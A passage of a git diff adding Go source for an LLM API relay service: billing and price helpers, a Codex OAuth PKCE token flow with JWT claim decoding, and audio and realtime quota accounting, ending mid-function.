+			if info.UserSetting.AcceptUnsetRatioModel {
+				acceptUnsetRatio = true
+			}
+			if !acceptUnsetRatio {
+				return types.PriceData{}, modelPriceNotConfiguredError(matchName, info.UserId)
+			}
+		}
+		completionRatio = ratio_setting.GetCompletionRatio(info.OriginModelName)
+		cacheRatio, _ = ratio_setting.GetCacheRatio(info.OriginModelName)
+		cacheCreationRatio, _ = ratio_setting.GetCreateCacheRatio(info.OriginModelName)
+		cacheCreationRatio5m = cacheCreationRatio
+		// 固定1h和5min缓存写入价格的比例
+		cacheCreationRatio1h = cacheCreationRatio * claudeCacheCreation1hMultiplier
+		imageRatio, _ = ratio_setting.GetImageRatio(info.OriginModelName)
+		audioRatio = ratio_setting.GetAudioRatio(info.OriginModelName)
+		audioCompletionRatio = ratio_setting.GetAudioCompletionRatio(info.OriginModelName)
+		ratio := modelRatio * groupRatioInfo.GroupRatio
+		preConsumedQuota = int(float64(preConsumedTokens) * ratio)
+	} else {
+		if meta.ImagePriceRatio != 0 {
+			modelPrice = modelPrice * meta.ImagePriceRatio
+		}
+		preConsumedQuota = int(modelPrice * common.QuotaPerUnit * groupRatioInfo.GroupRatio)
+	}
+
+	// check if free model pre-consume is disabled
+	if !operation_setting.GetQuotaSetting().EnableFreeModelPreConsume {
+		// if model price or ratio is 0, do not pre-consume quota
+		if groupRatioInfo.GroupRatio == 0 {
+			preConsumedQuota = 0
+			freeModel = true
+		} else if usePrice {
+			if modelPrice == 0 {
+				preConsumedQuota = 0
+				freeModel = true
+			}
+		} else {
+			if modelRatio == 0 {
+				preConsumedQuota = 0
+				freeModel = true
+			}
+		}
+	}
+
+	priceData := types.PriceData{
+		FreeModel:            freeModel,
+		ModelPrice:           modelPrice,
+		ModelRatio:           modelRatio,
+		CompletionRatio:      completionRatio,
+		GroupRatioInfo:       groupRatioInfo,
+		UsePrice:             usePrice,
+		CacheRatio:           cacheRatio,
+		ImageRatio:           imageRatio,
+		AudioRatio:           audioRatio,
+		AudioCompletionRatio: audioCompletionRatio,
+		CacheCreationRatio:   cacheCreationRatio,
+		CacheCreation5mRatio: cacheCreationRatio5m,
+		CacheCreation1hRatio: cacheCreationRatio1h,
+		QuotaToPreConsume:    preConsumedQuota,
+	}
+
+	if common.DebugEnabled {
+		println(fmt.Sprintf("model_price_helper result: %s", priceData.ToSetting()))
+	}
+	info.PriceData = priceData
+	return priceData, nil
+}
+
+// ModelPriceHelperPerCall 按次/按量计费的 PriceHelper (MJ、Task)
+func ModelPriceHelperPerCall(c *gin.Context, info *relaycommon.RelayInfo) (types.PriceData, error) {
+	groupRatioInfo := HandleGroupRatio(c, info)
+
+	modelPrice, success := ratio_setting.GetModelPrice(info.OriginModelName, true)
+	usePrice := success
+	var modelRatio float64
+
+	if !success {
+		defaultPrice, ok := ratio_setting.GetDefaultModelPriceMap()[info.OriginModelName]
+		if ok {
+			modelPrice = defaultPrice
+			usePrice = true
+		} else {
+			var ratioSuccess bool
+			var matchName string
+			modelRatio, ratioSuccess, matchName = ratio_setting.GetModelRatio(info.OriginModelName)
+			acceptUnsetRatio := false
+			if info.UserSetting.AcceptUnsetRatioModel {
+				acceptUnsetRatio = true
+			}
+			if !ratioSuccess && !acceptUnsetRatio {
+				return types.PriceData{}, modelPriceNotConfiguredError(matchName, info.UserId)
+			}
+		}
+	}
+
+	var quota int
+	freeModel := false
+
+	if usePrice {
+		quota = int(modelPrice * common.QuotaPerUnit * groupRatioInfo.GroupRatio)
+		if !operation_setting.GetQuotaSetting().EnableFreeModelPreConsume {
+			if groupRatioInfo.GroupRatio == 0 || modelPrice == 0 {
+				quota = 0
+				freeModel = true
+			}
+		}
+	} else {
+		// 按量计费：以模型倍率的一半作为预扣额度
+		quota = int(modelRatio / 2 * common.QuotaPerUnit * groupRatioInfo.GroupRatio)
+		modelPrice = -1
+		if !operation_setting.GetQuotaSetting().EnableFreeModelPreConsume {
+			if groupRatioInfo.GroupRatio == 0 || modelRatio == 0 {
+				quota = 0
+				freeModel = true
+			}
+		}
+	}
+
+	priceData := types.PriceData{
+		FreeModel:      freeModel,
+		ModelPrice:     modelPrice,
+		ModelRatio:     modelRatio,
+		UsePrice:       usePrice,
+		Quota:          quota,
+		GroupRatioInfo: groupRatioInfo,
+	}
+	return priceData, nil
+}
+
+func HasModelBillingConfig(modelName string) bool {
+	if _, ok := ratio_setting.GetModelPrice(modelName, false); ok {
+		return true
+	}
+	if _, ok, _ := ratio_setting.GetModelRatio(modelName); ok {
+		return true
+	}
+	if billing_setting.GetBillingMode(modelName) != billing_setting.BillingModeTieredExpr {
+		return false
+	}
+	expr, ok := billing_setting.GetBillingExpr(modelName)
+	return ok && strings.TrimSpace(expr) != ""
+}
+
+func modelPriceHelperTiered(c *gin.Context, info *relaycommon.RelayInfo, promptTokens int, meta *types.TokenCountMeta, groupRatioInfo types.GroupRatioInfo) (types.PriceData, error) {
+	exprStr, ok := billing_setting.GetBillingExpr(info.OriginModelName)
+	if !ok {
+		return types.PriceData{}, fmt.Errorf("model %s is configured as tiered_expr but has no billing expression", info.OriginModelName)
+	}
+
+	estimatedCompletionTokens := 0
+	if meta.MaxTokens != 0 {
+		estimatedCompletionTokens = meta.MaxTokens
+	}
+
+	requestInput, err := ResolveIncomingBillingExprRequestInput(c, info)
+	if err != nil {
+		return types.PriceData{}, err
+	}
+
+	rawCost, trace, err := billingexpr.RunExprWithRequest(exprStr, billingexpr.TokenParams{
+		P:   float64(promptTokens),
+		C:   float64(estimatedCompletionTokens),
+		Len: float64(promptTokens),
+	}, requestInput)
+	if err != nil {
+		return types.PriceData{}, fmt.Errorf("model %s tiered expr run failed: %w", info.OriginModelName, err)
+	}
+
+	// Expression coefficients are $/1M tokens prices; convert to quota the same way per-call billing does.
+	quotaBeforeGroup := rawCost / 1_000_000 * common.QuotaPerUnit
+	preConsumedQuota := billingexpr.QuotaRound(quotaBeforeGroup * groupRatioInfo.GroupRatio)
+
+	freeModel := false
+	if !operation_setting.GetQuotaSetting().EnableFreeModelPreConsume {
+		if groupRatioInfo.GroupRatio == 0 {
+			preConsumedQuota = 0
+			freeModel = true
+		}
+	}
+
+	exprHash := billingexpr.ExprHashString(exprStr)
+	snapshot := &billingexpr.BillingSnapshot{
+		BillingMode:               billing_setting.BillingModeTieredExpr,
+		ModelName:                 info.OriginModelName,
+		ExprString:                exprStr,
+		ExprHash:                  exprHash,
+		GroupRatio:                groupRatioInfo.GroupRatio,
+		EstimatedPromptTokens:     promptTokens,
+		EstimatedCompletionTokens: estimatedCompletionTokens,
+		EstimatedQuotaBeforeGroup: quotaBeforeGroup,
+		EstimatedQuotaAfterGroup:  preConsumedQuota,
+		EstimatedTier:             trace.MatchedTier,
+		QuotaPerUnit:              common.QuotaPerUnit,
+		ExprVersion:               billingexpr.ExprVersion(exprStr),
+	}
+	info.TieredBillingSnapshot = snapshot
+	info.BillingRequestInput = &requestInput
+
+	priceData := types.PriceData{
+		FreeModel:         freeModel,
+		GroupRatioInfo:    groupRatioInfo,
+		QuotaToPreConsume: preConsumedQuota,
+	}
+
+	if common.DebugEnabled {
+		println(fmt.Sprintf("model_price_helper_tiered result: model=%s preConsume=%d quotaBeforeGroup=%.2f groupRatio=%.2f tier=%s", info.OriginModelName, preConsumedQuota, quotaBeforeGroup, groupRatioInfo.GroupRatio, trace.MatchedTier))
+	}
+
+	info.PriceData = priceData
+	return priceData, nil
+}
diff --git a/_all-in-one-upload/new-api/service/codex_oauth.go b/_all-in-one-upload/new-api/service/codex_oauth.go
new file mode 100644
index 0000000..33ef1d6
--- /dev/null
+++ b/_all-in-one-upload/new-api/service/codex_oauth.go
@@ -0,0 +1,317 @@
+package service
+
+import (
+	"context"
+	"crypto/rand"
+	"crypto/sha256"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"net/http"
+	"net/url"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+)
+
+const (
+	codexOAuthClientID     = "app_EMoamEEZ73f0CkXaXp7hrann"
+	codexOAuthAuthorizeURL = "https://auth.openai.com/oauth/authorize"
+	codexOAuthTokenURL     = "https://auth.openai.com/oauth/token"
+	codexOAuthRedirectURI  = "http://localhost:1455/auth/callback"
+	codexOAuthScope        = "openid profile email offline_access"
+	codexJWTClaimPath      = "https://api.openai.com/auth"
+	defaultHTTPTimeout     = 20 * time.Second
+)
+
+type CodexOAuthTokenResult struct {
+	AccessToken  string
+	RefreshToken string
+	ExpiresAt    time.Time
+}
+
+type CodexOAuthAuthorizationFlow struct {
+	State        string
+	Verifier     string
+	Challenge    string
+	AuthorizeURL string
+}
+
+func RefreshCodexOAuthToken(ctx context.Context, refreshToken string) (*CodexOAuthTokenResult, error) {
+	return RefreshCodexOAuthTokenWithProxy(ctx, refreshToken, "")
+}
+
+func RefreshCodexOAuthTokenWithProxy(ctx context.Context, refreshToken string, proxyURL string) (*CodexOAuthTokenResult, error) {
+	client, err := getCodexOAuthHTTPClient(proxyURL)
+	if err != nil {
+		return nil, err
+	}
+	return refreshCodexOAuthToken(ctx, client, codexOAuthTokenURL, codexOAuthClientID, refreshToken)
+}
+
+func ExchangeCodexAuthorizationCode(ctx context.Context, code string, verifier string) (*CodexOAuthTokenResult, error) {
+	return ExchangeCodexAuthorizationCodeWithProxy(ctx, code, verifier, "")
+}
+
+func ExchangeCodexAuthorizationCodeWithProxy(ctx context.Context, code string, verifier string, proxyURL string) (*CodexOAuthTokenResult, error) {
+	client, err := getCodexOAuthHTTPClient(proxyURL)
+	if err != nil {
+		return nil, err
+	}
+	return exchangeCodexAuthorizationCode(ctx, client, codexOAuthTokenURL, codexOAuthClientID, code, verifier, codexOAuthRedirectURI)
+}
+
+func CreateCodexOAuthAuthorizationFlow() (*CodexOAuthAuthorizationFlow, error) {
+	state, err := createStateHex(16)
+	if err != nil {
+		return nil, err
+	}
+	verifier, challenge, err := generatePKCEPair()
+	if err != nil {
+		return nil, err
+	}
+	u, err := buildCodexAuthorizeURL(state, challenge)
+	if err != nil {
+		return nil, err
+	}
+	return &CodexOAuthAuthorizationFlow{
+		State:        state,
+		Verifier:     verifier,
+		Challenge:    challenge,
+		AuthorizeURL: u,
+	}, nil
+}
+
+func refreshCodexOAuthToken(
+	ctx context.Context,
+	client *http.Client,
+	tokenURL string,
+	clientID string,
+	refreshToken string,
+) (*CodexOAuthTokenResult, error) {
+	rt := strings.TrimSpace(refreshToken)
+	if rt == "" {
+		return nil, errors.New("empty refresh_token")
+	}
+
+	form := url.Values{}
+	form.Set("grant_type", "refresh_token")
+	form.Set("refresh_token", rt)
+	form.Set("client_id", clientID)
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, tokenURL, strings.NewReader(form.Encode()))
+	if err != nil {
+		return nil, err
+	}
+	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	req.Header.Set("Accept", "application/json")
+
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+
+	var payload struct {
+		AccessToken  string `json:"access_token"`
+		RefreshToken string `json:"refresh_token"`
+		ExpiresIn    int    `json:"expires_in"`
+	}
+
+	if err := common.DecodeJson(resp.Body, &payload); err != nil {
+		return nil, err
+	}
+	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+		return nil, fmt.Errorf("codex oauth refresh failed: status=%d", resp.StatusCode)
+	}
+
+	if strings.TrimSpace(payload.AccessToken) == "" || strings.TrimSpace(payload.RefreshToken) == "" || payload.ExpiresIn <= 0 {
+		return nil, errors.New("codex oauth refresh response missing fields")
+	}
+
+	return &CodexOAuthTokenResult{
+		AccessToken:  strings.TrimSpace(payload.AccessToken),
+		RefreshToken: strings.TrimSpace(payload.RefreshToken),
+		ExpiresAt:    time.Now().Add(time.Duration(payload.ExpiresIn) * time.Second),
+	}, nil
+}
+
+func exchangeCodexAuthorizationCode(
+	ctx context.Context,
+	client *http.Client,
+	tokenURL string,
+	clientID string,
+	code string,
+	verifier string,
+	redirectURI string,
+) (*CodexOAuthTokenResult, error) {
+	c := strings.TrimSpace(code)
+	v := strings.TrimSpace(verifier)
+	if c == "" {
+		return nil, errors.New("empty authorization code")
+	}
+	if v == "" {
+		return nil, errors.New("empty code_verifier")
+	}
+
+	form := url.Values{}
+	form.Set("grant_type", "authorization_code")
+	form.Set("client_id", clientID)
+	form.Set("code", c)
+	form.Set("code_verifier", v)
+	form.Set("redirect_uri", redirectURI)
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, tokenURL, strings.NewReader(form.Encode()))
+	if err != nil {
+		return nil, err
+	}
+	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	req.Header.Set("Accept", "application/json")
+
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+
+	var payload struct {
+		AccessToken  string `json:"access_token"`
+		RefreshToken string `json:"refresh_token"`
+		ExpiresIn    int    `json:"expires_in"`
+	}
+	if err := common.DecodeJson(resp.Body, &payload); err != nil {
+		return nil, err
+	}
+	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+		return nil, fmt.Errorf("codex oauth code exchange failed: status=%d", resp.StatusCode)
+	}
+	if strings.TrimSpace(payload.AccessToken) == "" || strings.TrimSpace(payload.RefreshToken) == "" || payload.ExpiresIn <= 0 {
+		return nil, errors.New("codex oauth token response missing fields")
+	}
+	return &CodexOAuthTokenResult{
+		AccessToken:  strings.TrimSpace(payload.AccessToken),
+		RefreshToken: strings.TrimSpace(payload.RefreshToken),
+		ExpiresAt:    time.Now().Add(time.Duration(payload.ExpiresIn) * time.Second),
+	}, nil
+}
+
+func getCodexOAuthHTTPClient(proxyURL string) (*http.Client, error) {
+	baseClient, err := GetHttpClientWithProxy(strings.TrimSpace(proxyURL))
+	if err != nil {
+		return nil, err
+	}
+	if baseClient == nil {
+		return &http.Client{Timeout: defaultHTTPTimeout}, nil
+	}
+	clientCopy := *baseClient
+	clientCopy.Timeout = defaultHTTPTimeout
+	return &clientCopy, nil
+}
+
+func buildCodexAuthorizeURL(state string, challenge string) (string, error) {
+	u, err := url.Parse(codexOAuthAuthorizeURL)
+	if err != nil {
+		return "", err
+	}
+	q := u.Query()
+	q.Set("response_type", "code")
+	q.Set("client_id", codexOAuthClientID)
+	q.Set("redirect_uri", codexOAuthRedirectURI)
+	q.Set("scope", codexOAuthScope)
+	q.Set("code_challenge", challenge)
+	q.Set("code_challenge_method", "S256")
+	q.Set("state", state)
+	q.Set("id_token_add_organizations", "true")
+	q.Set("codex_cli_simplified_flow", "true")
+	q.Set("originator", "codex_cli_rs")
+	u.RawQuery = q.Encode()
+	return u.String(), nil
+}
+
+func createStateHex(nBytes int) (string, error) {
+	if nBytes <= 0 {
+		return "", errors.New("invalid state bytes length")
+	}
+	b := make([]byte, nBytes)
+	if _, err := rand.Read(b); err != nil {
+		return "", err
+	}
+	return fmt.Sprintf("%x", b), nil
+}
+
+func generatePKCEPair() (verifier string, challenge string, err error) {
+	b := make([]byte, 32)
+	if _, err := rand.Read(b); err != nil {
+		return "", "", err
+	}
+	verifier = base64.RawURLEncoding.EncodeToString(b)
+	sum := sha256.Sum256([]byte(verifier))
+	challenge = base64.RawURLEncoding.EncodeToString(sum[:])
+	return verifier, challenge, nil
+}
+
+func ExtractCodexAccountIDFromJWT(token string) (string, bool) {
+	claims, ok := decodeJWTClaims(token)
+	if !ok {
+		return "", false
+	}
+	raw, ok := claims[codexJWTClaimPath]
+	if !ok {
+		return "", false
+	}
+	obj, ok := raw.(map[string]any)
+	if !ok {
+		return "", false
+	}
+	v, ok := obj["chatgpt_account_id"]
+	if !ok {
+		return "", false
+	}
+	s, ok := v.(string)
+	if !ok {
+		return "", false
+	}
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return "", false
+	}
+	return s, true
+}
+
+func ExtractEmailFromJWT(token string) (string, bool) {
+	claims, ok := decodeJWTClaims(token)
+	if !ok {
+		return "", false
+	}
+	v, ok := claims["email"]
+	if !ok {
+		return "", false
+	}
+	s, ok := v.(string)
+	if !ok {
+		return "", false
+	}
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return "", false
+	}
+	return s, true
+}
+
+func decodeJWTClaims(token string) (map[string]any, bool) {
+	parts := strings.Split(token, ".")
+	if len(parts) != 3 {
+		return nil, false
+	}
+	payloadRaw, err := base64.RawURLEncoding.DecodeString(parts[1])
+	if err != nil {
+		return nil, false
+	}
+	var claims map[string]any
+	if err := json.Unmarshal(payloadRaw, &claims); err != nil {
+		return nil, false
+	}
+	return claims, true
+}
diff --git a/_all-in-one-upload/new-api/service/quota.go b/_all-in-one-upload/new-api/service/quota.go
new file mode 100644
index 0000000..398bd1b
--- /dev/null
+++ b/_all-in-one-upload/new-api/service/quota.go
@@ -0,0 +1,544 @@
+package service
+
+import (
+	"errors"
+	"fmt"
+	"log"
+	"math"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/pkg/billingexpr"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/setting/ratio_setting"
+	"github.com/QuantumNous/new-api/setting/system_setting"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/bytedance/gopkg/util/gopool"
+
+	"github.com/gin-gonic/gin"
+	"github.com/shopspring/decimal"
+)
+
+type TokenDetails struct {
+	TextTokens  int
+	AudioTokens int
+}
+
+type QuotaInfo struct {
+	InputDetails  TokenDetails
+	OutputDetails TokenDetails
+	ModelName     string
+	UsePrice      bool
+	ModelPrice    float64
+	ModelRatio    float64
+	GroupRatio    float64
+}
+
+func hasCustomModelRatio(modelName string, currentRatio float64) bool {
+	defaultRatio, exists := ratio_setting.GetDefaultModelRatioMap()[modelName]
+	if !exists {
+		return true
+	}
+	return currentRatio != defaultRatio
+}
+
+func calculateAudioQuota(info QuotaInfo) int {
+	if info.UsePrice {
+		modelPrice := decimal.NewFromFloat(info.ModelPrice)
+		quotaPerUnit := decimal.NewFromFloat(common.QuotaPerUnit)
+		groupRatio := decimal.NewFromFloat(info.GroupRatio)
+
+		quota := modelPrice.Mul(quotaPerUnit).Mul(groupRatio)
+		return int(quota.IntPart())
+	}
+
+	completionRatio := decimal.NewFromFloat(ratio_setting.GetCompletionRatio(info.ModelName))
+	audioRatio := decimal.NewFromFloat(ratio_setting.GetAudioRatio(info.ModelName))
+	audioCompletionRatio := decimal.NewFromFloat(ratio_setting.GetAudioCompletionRatio(info.ModelName))
+
+	groupRatio := decimal.NewFromFloat(info.GroupRatio)
+	modelRatio := decimal.NewFromFloat(info.ModelRatio)
+	ratio := groupRatio.Mul(modelRatio)
+
+	inputTextTokens := decimal.NewFromInt(int64(info.InputDetails.TextTokens))
+	outputTextTokens := decimal.NewFromInt(int64(info.OutputDetails.TextTokens))
+	inputAudioTokens := decimal.NewFromInt(int64(info.InputDetails.AudioTokens))
+	outputAudioTokens := decimal.NewFromInt(int64(info.OutputDetails.AudioTokens))
+
+	quota := decimal.Zero
+	quota = quota.Add(inputTextTokens)
+	quota = quota.Add(outputTextTokens.Mul(completionRatio))
+	quota = quota.Add(inputAudioTokens.Mul(audioRatio))
+	quota = quota.Add(outputAudioTokens.Mul(audioRatio).Mul(audioCompletionRatio))
+
+	quota = quota.Mul(ratio)
+
+	// If ratio is not zero and quota is less than or equal to zero, set quota to 1
+	if !ratio.IsZero() && quota.LessThanOrEqual(decimal.Zero) {
+		quota = decimal.NewFromInt(1)
+	}
+
+	return int(quota.Round(0).IntPart())
+}
+
+func PreWssConsumeQuota(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, usage *dto.RealtimeUsage) error {
+	if relayInfo.UsePrice {
+		return nil
+	}
+	userQuota, err := model.GetUserQuota(relayInfo.UserId, false)
+	if err != nil {
+		return err
+	}
+
+	token, err := model.GetTokenByKey(strings.TrimPrefix(relayInfo.TokenKey, "sk-"), false)
+	if err != nil {
+		return err
+	}
+
+	modelName := relayInfo.OriginModelName
+	textInputTokens := usage.InputTokenDetails.TextTokens
+	textOutTokens := usage.OutputTokenDetails.TextTokens
+	audioInputTokens := usage.InputTokenDetails.AudioTokens
+	audioOutTokens := usage.OutputTokenDetails.AudioTokens
+	groupRatio := ratio_setting.GetGroupRatio(relayInfo.UsingGroup)
+	modelRatio, _, _ := ratio_setting.GetModelRatio(modelName)
+
+	autoGroup, exists := common.GetContextKey(ctx, constant.ContextKeyAutoGroup)
+	if exists {
+		groupRatio = ratio_setting.GetGroupRatio(autoGroup.(string))
+		log.Printf("final group ratio: %f", groupRatio)
+		relayInfo.UsingGroup = autoGroup.(string)
+	}
+
+	actualGroupRatio := groupRatio
+	userGroupRatio, ok := ratio_setting.GetGroupGroupRatio(relayInfo.UserGroup, relayInfo.UsingGroup)
+	if ok {
+		actualGroupRatio = userGroupRatio
+	}
+
+	quotaInfo := QuotaInfo{
+		InputDetails: TokenDetails{
+			TextTokens:  textInputTokens,
+			AudioTokens: audioInputTokens,
+		},
+		OutputDetails: TokenDetails{
+			TextTokens:  textOutTokens,
+			AudioTokens: audioOutTokens,
+		},
+		ModelName:  modelName,
+		UsePrice:   relayInfo.UsePrice,
+		ModelRatio: modelRatio,
+		GroupRatio: actualGroupRatio,
+	}
+
+	quota := calculateAudioQuota(quotaInfo)
+
+	if userQuota < quota {
+		return fmt.Errorf("user quota is not enough, user quota: %s, need quota: %s", logger.FormatQuota(userQuota), logger.FormatQuota(quota))
+	}
+
+	if !token.UnlimitedQuota && token.RemainQuota < quota {
+		return fmt.Errorf("token quota is not enough, token remain quota: %s, need quota: %s", logger.FormatQuota(token.RemainQuota), logger.FormatQuota(quota))
+	}
+
+	err = PostConsumeQuota(relayInfo, quota, 0, false)
+	if err != nil {
+		return err
+	}
+	logger.LogInfo(ctx, "realtime streaming consume quota success, quota: "+fmt.Sprintf("%d", quota))
+	return nil
+}
+
+func PostWssConsumeQuota(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, modelName string,
+	usage *dto.RealtimeUsage, extraContent string) {
+
+	var tieredResult *billingexpr.TieredResult
+	tieredOk, tieredQuota, tieredRes := TryTieredSettle(relayInfo, billingexpr.TokenParams{
+		P:   float64(usage.InputTokens),
+		C:   float64(usage.OutputTokens),
+		Len: float64(usage.InputTokens),
+	})
+	if tieredOk {
+		tieredResult = tieredRes
+	}
+
+	useTimeSeconds := time.Now().Unix() - relayInfo.StartTime.Unix()
+	textInputTokens := usage.InputTokenDetails.TextTokens
+	textOutTokens := usage.OutputTokenDetails.TextTokens
+
+	audioInputTokens := usage.InputTokenDetails.AudioTokens
+	audioOutTokens := usage.OutputTokenDetails.AudioTokens
+
+	tokenName := ctx.GetString("token_name")
+	completionRatio := decimal.NewFromFloat(ratio_setting.GetCompletionRatio(modelName))
+	audioRatio := decimal.NewFromFloat(ratio_setting.GetAudioRatio(relayInfo.OriginModelName))
+	audioCompletionRatio := decimal.NewFromFloat(ratio_setting.GetAudioCompletionRatio(modelName))
+
+	modelRatio := relayInfo.PriceData.ModelRatio
+	groupRatio := relayInfo.PriceData.GroupRatioInfo.GroupRatio
+	modelPrice := relayInfo.PriceData.ModelPrice
+	usePrice := relayInfo.PriceData.UsePrice
+
+	quotaInfo := QuotaInfo{
+		InputDetails: TokenDetails{
+			TextTokens:  textInputTokens,
+			AudioTokens: audioInputTokens,
+		},
+		OutputDetails: TokenDetails{
+			TextTokens:  textOutTokens,
+			AudioTokens: audioOutTokens,
+		},
+		ModelName:  modelName,
+		UsePrice:   usePrice,
+		ModelRatio: modelRatio,
+		GroupRatio: groupRatio,
+	}
+
+	quota := calculateAudioQuota(quotaInfo)
+	if tieredOk {
+		quota = tieredQuota
+	}
+
+	totalTokens := usage.TotalTokens
+	var logContent string
+	if !usePrice {
+		logContent = fmt.Sprintf("模型倍率 %.2f，补全倍率 %.2f，音频倍率 %.2f，音频补全倍率 %.2f，分组倍率 %.2f",
+			modelRatio, completionRatio.InexactFloat64(), audioRatio.InexactFloat64(), audioCompletionRatio.InexactFloat64(), groupRatio)
+	} else {
+		logContent = fmt.Sprintf("模型价格 %.2f，分组倍率 %.2f", modelPrice, groupRatio)
+	}
+
+	// record all the consume log even if quota is 0
+	if totalTokens == 0 {
+		// in this case, must be some error happened
+		// we cannot just return, because we may have to return the pre-consumed quota
+		quota = 0
+		logContent += fmt.Sprintf("（可能是上游超时）")
+		logger.LogError(ctx, fmt.Sprintf("total tokens is 0, cannot consume quota, userId %d, channelId %d, "+
+			"tokenId %d, model %s， pre-consumed quota %d", relayInfo.UserId, relayInfo.ChannelId, relayInfo.TokenId, modelName, relayInfo.FinalPreConsumedQuota))
+	} else {
+		model.UpdateUserUsedQuotaAndRequestCount(relayInfo.UserId, quota)
+		model.UpdateChannelUsedQuota(relayInfo.ChannelId, quota)
+	}
+
+	if err := SettleBilling(ctx, relayInfo, quota); err != nil {
+		logger.LogError(ctx, "error settling billing: "+err.Error())
+	}
+
+	logModel := modelName
+	if extraContent != "" {
+		logContent += ", " + extraContent
+	}
+	other := GenerateWssOtherInfo(ctx, relayInfo, usage, modelRatio, groupRatio,
+		completionRatio.InexactFloat64(), audioRatio.InexactFloat64(), audioCompletionRatio.InexactFloat64(), modelPrice, relayInfo.PriceData.GroupRatioInfo.GroupSpecialRatio)
+	if tieredResult != nil {
+		InjectTieredBillingInfo(other, relayInfo, tieredResult)
+	}
+	model.RecordConsumeLog(ctx, relayInfo.UserId, model.RecordConsumeLogParams{
+		ChannelId:        relayInfo.ChannelId,
+		PromptTokens:     usage.InputTokens,
+		CompletionTokens: usage.OutputTokens,
+		ModelName:        logModel,
+		TokenName:        tokenName,
+		Quota:            quota,
+		Content:          logContent,
+		TokenId:          relayInfo.TokenId,
+		UseTimeSeconds:   int(useTimeSeconds),
+		IsStream:         relayInfo.IsStream,
+		Group:            relayInfo.UsingGroup,
+		Other:            other,
+	})
+}
+
+func CalcOpenRouterCacheCreateTokens(usage dto.Usage, priceData types.PriceData) int {
+	if priceData.CacheCreationRatio == 1 {
+		return 0
+	}
+	quotaPrice := priceData.ModelRatio / common.QuotaPerUnit
+	promptCacheCreatePrice := quotaPrice * priceData.CacheCreationRatio
+	promptCacheReadPrice := quotaPrice * priceData.CacheRatio
+	completionPrice := quotaPrice * priceData.CompletionRatio
+
+	cost, _ := usage.Cost.(float64)
+	totalPromptTokens := float64(usage.PromptTokens)
+	completionTokens := float64(usage.CompletionTokens)
+	promptCacheReadTokens := float64(usage.PromptTokensDetails.CachedTokens)
+
+	return int(math.Round((cost -
+		totalPromptTokens*quotaPrice +
+		promptCacheReadTokens*(quotaPrice-promptCacheReadPrice) -
+		completionTokens*completionPrice) /
+		(promptCacheCreatePrice - quotaPrice)))
+}
+
+func PostAudioConsumeQuota(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, usage *dto.Usage, extraContent string) {
+
+	var tieredUsedVars map[string]bool
+	if snap := relayInfo.TieredBillingSnapshot; snap != nil {
+		tieredUsedVars = billingexpr.UsedVars(snap.ExprString)
+	}
+	var tieredResult *billingexpr.TieredResult
+	tieredOk, tieredQuota, tieredRes := TryTieredSettle(relayInfo, BuildTieredTokenParams(usage, false, tieredUsedVars))
+	if tieredOk {
+		tieredResult = tieredRes
+	}
+
+	useTimeSeconds := time.Now().Unix() - relayInfo.StartTime.Unix()
+	textInputTokens := usage.PromptTokensDetails.TextTokens
+	textOutTokens := usage.CompletionTokenDetails.TextTokens
+
+	audioInputTokens := usage.PromptTokensDetails.AudioTokens
+	audioOutTokens := usage.CompletionTokenDetails.AudioTokens
+
+	tokenName := ctx.GetString("token_name")
+	completionRatio := decimal.NewFromFloat(ratio_setting.GetCompletionRatio(relayInfo.OriginModelName))
+	audioRatio := decimal.NewFromFloat(ratio_setting.GetAudioRatio(relayInfo.OriginModelName))
+	audioCompletionRatio := decimal.NewFromFloat(ratio_setting.GetAudioCompletionRatio(relayInfo.OriginModelName))
+
+	modelRatio := relayInfo.PriceData.ModelRatio
+	groupRatio := relayInfo.PriceData.GroupRatioInfo.GroupRatio
+	modelPrice := relayInfo.PriceData.ModelPrice
+	usePrice := relayInfo.PriceData.UsePrice
+
+	quotaInfo := QuotaInfo{
+		InputDetails: TokenDetails{
+			TextTokens:  textInputTokens,
+			AudioTokens: audioInputTokens,
+		},
+		OutputDetails: TokenDetails{
+			TextTokens:  textOutTokens,
+			AudioTokens: audioOutTokens,
+		},
+		ModelName:  relayInfo.OriginModelName,
+		UsePrice:   usePrice,
+		ModelRatio: modelRatio,
+		GroupRatio: groupRatio,
+	}
+
+	quota := calculateAudioQuota(quotaInfo)
+	if tieredOk {
+		quota = tieredQuota
+	}
+
+	totalTokens := usage.TotalTokens
+	var logContent string
+	if !usePrice {
+		logContent = fmt.Sprintf("模型倍率 %.2f，补全倍率 %.2f，音频倍率 %.2f，音频补全倍率 %.2f，分组倍率 %.2f",
+			modelRatio, completionRatio.InexactFloat64(), audioRatio.InexactFloat64(), audioCompletionRatio.InexactFloat64(), groupRatio)
+	} else {
+		logContent = fmt.Sprintf("模型价格 %.2f，分组倍率 %.2f", modelPrice, groupRatio)
+	}
+
+	// record all the consume log even if quota is 0
+	if totalTokens == 0 {
+		// in this case, must be some error happened
+		// we cannot just return, because we may have to return the pre-consumed quota
+		quota = 0
+		logContent += fmt.Sprintf("（可能是上游超时）")
+		logger.LogError(ctx, fmt.Sprintf("total tokens is 0, cannot consume quota, userId %d, channelId %d, "+
